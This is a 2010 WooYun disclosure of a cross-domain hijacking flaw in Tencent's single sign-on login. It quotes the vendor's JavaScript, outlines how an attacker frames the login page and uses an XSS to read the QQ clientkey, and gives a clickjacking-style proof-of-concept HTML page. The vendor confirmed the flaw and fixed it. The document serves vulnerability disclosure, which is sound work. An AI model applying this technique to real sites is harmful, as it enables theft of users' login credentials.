当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2010-0197

漏洞标题:腾讯单点登录系统跨域劫持漏洞 Ⅱ

相关厂商:腾讯

漏洞作者: rayh4c

提交时间:2010-08-15 00:56

修复时间:2010-09-14 03:00

公开时间:2010-09-14 03:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-08-15: 细节已通知厂商并且等待厂商处理中
2010-08-15: 厂商已经确认,细节仅向厂商公开
2010-08-25: 细节向核心白帽子及相关领域专家公开
2010-09-04: 细节向普通白帽子公开
2010-09-14: 细节向实习白帽子公开
2010-09-14: 细节向公众公开

简要描述:

腾讯单点登录系统在安全架构上存在安全缺陷,黑客可以轻易通过一些漏洞跨域劫持单点登录系统,从而获取客户端QQ所有相关服务的权限。细节补充:和上次,上上次的漏洞一样,可以通过网页挂马的方式远程获取QQ客户端的clientkey.

详细说明:

单点登录系统网页的javascript的跨域设置是通过点击按钮的事件触发的,如下流程:
http://imgcache.qq.com/ptlogin/ac/v7/js/xui.js
--------------------------------------------------------
if (!flag) {
g_domain = "qq.com"
}
没有FLAG参数,G_DOMAIN设置成QQ.COM.
.......
function unloadpage(){
document.domain = g_domain;
unloadpage函数进行跨域设置
.......
function hummer_login(E, D, A, F){
if (A == "") {
A = "jump"
}
var C = "http://ptlogin2." + D + "/" + A + "?clientuin=" + E.uin + "&clientkey=" + E.key + "&keyindex=9";
if (F != null && F != "") {
var B = decodeURIComponent(F);
if (B.indexOf("#") > -1) {
B = B.replace(/#/g, "%23")
}
C += ("&" + B)
}
switch (parseInt(g_qtarget)) {
case 0:
unloadpage();
parent.location.href = C;
break;
页面转跳前运行 unloadpage()函数
........
-------------------------------------------------------
黑客可以直接IFRAME单点登录系统的网页,先通过设置location全局变量让网页转跳失败,然后再通过腾讯网站任意的一个XSS漏洞,跨域获取用户的clientkey。
同局域网内可以直接用clientkey使用单点登录系统,非局域网用户可以强制用户单点登录获取用户的session。

漏洞证明:

真正的攻击场景需要腾讯网站的一个XSS配合,攻击方式可以做到用户在随便在任意一个网站点击链接,就可以获取clientkey!
下面给一个POC,完美EXP太H太暴力了,就不给了:

<html>
<head>
<script>
var location = '';
function click_hijack(obj)
{
document.all("div_xss").style.display=obj;
document.all("div_xss").style.top=event.clientY+document.body.scrollTop + 220;
document.all("div_xss").style.left=event.clientX+document.body.scrollLeft - 340;
}
</script>
</head>
<body>
<br>
<div align="center">
<a id="click" href='' onMouseMove="click_hijack('block')" onmouseout="click_hijack('none')">test1</a>
<br>
<br>
<a id="click" href='' onMouseMove="click_hijack('block')" onmouseout="click_hijack('none')">test2</a>
<br>
<br>
</div>
<div id="div_xss" style="position:absolute;" >
<iframe id="victim" src="http://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com" scrolling="no" style="position: absolute;left: 200;bottom: 200;" height="90px;" width="200px;"></iframe>
</div>
</body>
</html>

修复方案:

防止单点登录系统服务被非信任域引用。

版权声明:转载请注明来源 rayh4c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2010-08-15 09:04

厂商回复:

收到,我们尽快确认

最新状态:

2010-08-24:已修复